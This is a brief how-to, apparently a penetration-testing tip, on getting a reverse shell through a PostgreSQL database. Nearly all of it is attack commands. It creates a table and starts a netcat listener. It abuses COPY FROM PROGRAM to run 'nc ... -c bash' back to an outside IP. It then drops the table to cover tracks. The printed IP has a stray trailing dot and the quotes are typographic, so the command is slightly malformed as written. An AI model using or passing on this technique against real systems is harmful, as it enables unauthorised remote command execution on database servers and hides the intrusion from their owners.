The easiest way to get reverse shell through the PostgreSQL database.

1. Connect to the DB
2. Create a new table
     CREATE TABLE demo(t text);
3. Run the listener
     nc -nlvp 2020
4. Exploit
     COPY demo FROM PROGRAM ‘nc 10.10.10.10. 2020 -c bash’;

5. Do not forget to clean after yourself
     DROP TABLE demo;